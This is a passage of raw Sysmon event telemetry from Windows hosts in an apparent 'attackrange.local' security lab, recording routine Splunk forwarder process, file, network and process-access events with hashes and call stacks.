154100x800000000000000014202Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.221{625C326B-6FC8-613B-A304-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014201Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.017{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56D87806FC8B1BBA8D7E343ECB3BFD4E,SHA256=2A94516F4F03576FCFF0AA2D056C9E0BAE9B7BE73161F2D325933859A82A2543,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:33.724{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2FC019A846232A19ACB9B827B400662,SHA256=C0C3FEAEA7914F5BFCF72E9A3352700418BDB69EFC88D14930ACE5353A7F3BAB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014232Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:31.392{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50141-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014231Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:33.095{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D707D8C7F3103BB7EB5B57D72F20CC48,SHA256=837DC10B8DAF1FA0582F678B2229D44E8E79737B1266688BDB68B7ABCF1BC7AB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:34.740{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD5F7AE82150E391B6979095DEBFE912,SHA256=672715D0E1A92A163EED410D3CCB80CA920309C9FB853342A6236EF82FA5ACB3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014248Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.314{625C326B-6FCA-613B-A504-00000000F101}3212852C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014247Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.127{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1F757E58559C71DBAA237AB6B159D05,SHA256=F35180578A02DFA75A5B342E6693B4D4556F2A069B3D701AB62189AA4556D73D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014246Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FCA-613B-A504-00000000F101}3212C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014245Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014244Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014243Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014242Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014241Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014240Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014239Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014238Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014237Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014236Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6FCA-613B-A504-00000000F101}3212C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014235Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.064{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FCA-613B-A504-00000000F101}3212C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014234Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.065{625C326B-6FCA-613B-A504-00000000F101}3212C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014233Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:34.033{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6CC5D6C6C04551E1C08281CADEA43B1F,SHA256=99525151DE352B2DBDA58578D032A3E812752128920E2D91C8F224DD81372322,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:35.787{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3E4C79B4F98C93D1325021D182B4986,SHA256=1E91CAB5A790A475D78558098B7394D36D97E415E145EAF3F3827E623980D662,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014278Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.955{625C326B-6FCB-613B-A704-00000000F101}30243404C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014277Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FCB-613B-A704-00000000F101}3024C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014276Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014275Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014274Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014273Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014272Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014271Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014270Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 